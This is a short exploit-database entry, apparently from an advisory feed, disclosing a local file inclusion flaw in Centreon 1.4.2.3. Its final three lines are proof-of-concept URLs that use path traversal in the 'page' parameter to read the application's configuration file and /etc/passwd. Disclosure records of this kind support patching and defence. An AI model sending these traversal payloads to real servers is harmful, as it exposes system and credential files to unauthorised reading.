Centreon 1.4.2.3 - index.php Local File Inclusion

2008-02-29T00:00:00
ID EXPLOITPACK:EB126D3A4B1E5076E05FEF80CC39A836
Type exploitpack
Reporter JosS
Modified 2008-02-29T00:00:00

Description

Centreon 1.4.2.3 - index.php Local File Inclusion

                                        
                                            source: https://www.securityfocus.com/bid/28052/info

Centreon is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain potentially sensitive information that may lead to further attacks.

This issue affects Centreon 1.4.2.3; other versions may also be vulnerable.

http://www.example.com/include/doc/index.php?page=../../www/oreon.conf.php
http://www.example.com/include/doc/index.php?page=../../../../../etc/passwd
http://www.example.com/include/doc/index.php?page=[Local File]